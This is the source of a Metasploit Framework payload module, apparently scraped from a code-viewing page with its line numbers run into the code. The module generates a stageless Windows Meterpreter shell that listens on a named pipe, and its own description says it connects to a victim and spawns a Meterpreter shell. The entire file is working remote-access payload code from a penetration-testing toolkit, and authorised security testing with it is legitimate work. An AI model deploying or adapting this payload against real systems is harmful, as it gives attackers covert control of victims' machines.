Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 177734910include Msf::Payload::TransportConfig11include Msf::Payload::Windows12include Msf::Payload::Single13include Msf::Payload::Windows::MeterpreterLoader14include Msf::Sessions::MeterpreterOptions1516def initialize(info = {})1718super(merge_info(info,19'Name' => 'Windows Meterpreter Shell, Bind Named Pipe Inline',20'Description' => 'Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',21'Author' => [ 'UserExistsError' ],22'License' => MSF_LICENSE,23'Platform' => 'win',24'Arch' => ARCH_X86,25'Handler' => Msf::Handler::BindNamedPipe,26'Session' => Msf::Sessions::Meterpreter_x86_Win27))2829register_options([30OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),31OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])32])33end3435def generate(opts={})36opts[:stageless] = true37stage_meterpreter(opts) + generate_config(opts)38end3940def generate_config(opts={})41opts[:uuid] ||= generate_payload_uuid4243# create the configuration block, which for staged connections is really simple.44config_opts = {45arch: opts[:uuid].arch,46exitfunk: datastore['EXITFUNC'],47expiration: datastore['SessionExpirationTimeout'].to_i,48uuid: opts[:uuid],49transports: [transport_config_bind_named_pipe(opts)],50extensions: (datastore['EXTENSIONS'] || '').split(','),51ext_init: (datastore['EXTINIT'] || ''),52stageless: true,53}.merge(meterpreter_logging_config(opts))5455# create the configuration instance based off the parameters56config = Rex::Payloads::Meterpreter::Config.new(config_opts)5758# return the binary version of it59config.to_b60end61end6263646566